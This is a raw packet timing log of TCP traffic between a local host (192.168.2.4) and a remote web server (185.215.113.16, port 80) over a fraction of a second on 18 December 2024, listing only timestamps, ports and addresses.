Dec 18, 2024 17:08:34.447489977 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.450798035 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.450805902 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.451210976 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.454123020 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.454130888 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.454195023 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.457576036 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.457583904 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.457633972 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.461435080 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.461507082 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.461500883 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.461513996 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.461683035 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.464823961 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.464831114 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.464920044 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.467987061 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.468000889 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.468063116 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.471575022 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.471585989 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.471662045 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.471662045 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.475150108 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.475157022 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.475296974 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.478725910 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.478734016 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.478744030 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.478812933 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.482363939 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.482372046 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.482433081 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.485791922 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.485805988 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.485843897 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.485876083 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.489490986 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.489497900 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.489562988 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.492928982 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.492952108 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.493011951 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.496470928 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.496488094 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.496500015 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.496613026 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.499922037 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.499929905 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.500013113 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.503392935 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.503460884 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.507081032 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.507123947 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.510341883 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.511070967 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.513608932 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.513648987 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.513675928 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.513703108 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.517085075 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.517092943 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.517105103 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.517147064 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.520544052 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.520621061 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.522392035 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.522399902 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.522459984 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.525568962 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.525580883 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.525629997 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.528913975 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.528922081 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.528976917 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.532186985 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.532215118 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.532221079 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.532252073 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.532293081 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.535820961 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.535829067 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.535880089 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.538881063 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.538887024 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.538939953 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.542100906 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.542108059 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.542160034 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.545605898 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.545618057 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.545667887 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.545681953 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.548963070 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.548969984 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.548980951 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.549026012 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.552098989 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.552105904 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.552150965 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.555702925 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.555717945 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.555769920 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.558474064 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.558481932 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.558535099 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.562130928 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.562145948 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.562153101 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.562241077 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.566468000 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.566483021 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.566509962 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.566524029 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.570580959 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.570588112 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.570652008 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.573780060 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.573786020 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.573838949 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.576750994 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.576759100 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.576800108 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.576813936 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.579746962 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.579755068 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.579765081 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.579809904 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.582685947 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.582701921 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.582763910 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.585349083 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.585355997 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.585406065 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.587963104 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.587970972 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.588026047 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.590734005 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.590743065 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.590754032 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.590801954 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.593497038 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.593550920 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.595012903 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.595021009 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.595077038 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.598294020 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.598303080 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.598361015 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.601212025 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.601227999 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.601269007 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.604350090 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.604357958 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.604413033 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.607403994 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.607419014 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.607424974 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.607584953 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.610538960 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.610546112 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.610603094 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.613744020 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.613750935 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.613796949 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.616703987 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.616710901 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.616766930 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.619621038 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.619628906 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.619677067 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.622853994 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.622860909 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.622867107 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.622905970 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.622919083 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.626595020 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.626601934 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.626656055 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.629976988 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.629983902 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.630033016 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.632616997 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.632623911 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.632675886 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.635262966 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.635270119 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.635274887 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.635334015 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.637739897 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.637748003 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.637798071 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.640638113 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.640645981 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.640697002 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.643649101 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.643685102 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.643708944 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.643728018 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.646651030 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.646657944 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.646708965 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.651241064 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.651251078 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.651256084 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.651299953 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.654181004 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.654257059 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.654328108 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.659744978 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.659813881 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.662950993 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.664239883 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.664267063 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.664330959 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.664350033 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.666956902 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.666964054 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.667020082 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.672183990 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.672189951 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.672200918 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.672261000 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.675151110 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.675158024 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.675344944 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.677958012 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.678044081 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.678119898 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.678219080 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.680471897 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.680479050 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.680542946 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.681139946 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.681162119 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.681197882 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.681210995 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.683645010 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.683651924 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.683708906 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.690363884 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.690371037 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.690382004 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.690428972 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.690676928 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.690732956 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.690835953 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.691231012 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.693424940 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.693432093 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.693480015 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.696013927 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.696022034 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.696069956 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.697297096 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.697304964 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.697315931 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.697365999 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.699974060 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.699980974 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.700028896 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.703105927 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.703113079 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.703166008 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.705532074 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.705539942 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.705576897 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.708252907 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.708266973 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.708307028 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.708333015 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.711257935 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.711266994 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.711282969 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.711318970 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.711354971 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.713675022 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.713690042 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.713784933 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.716110945 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.716119051 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.716162920 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.718667984 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.718712091 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.718727112 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.718751907 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.721326113 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.721333027 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.721343040 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.721385956 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.724319935 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.724387884 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.725445986 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.725454092 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.725502968 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.728092909 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.728108883 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.728157043 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.730840921 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.730849028 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.730897903 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.733479977 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.733493090 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.733500004 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.733539104 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.736277103 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.736291885 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.736346960 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.738873005 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.738879919 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.738981962 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.741601944 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.741609097 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.741681099 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.744283915 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.744291067 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.744350910 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.746850967 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.746857882 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.746867895 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.746918917 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.749613047 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.749619961 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.749669075 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.752337933 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.752345085 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.752393961 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.754718065 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.754784107 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.754811049 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.754837990 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.757365942 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.757374048 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.757487059 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.759804964 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.759813070 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.759819984 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.759860039 CET	49800	80	192.168.2.4	185.215.113.16
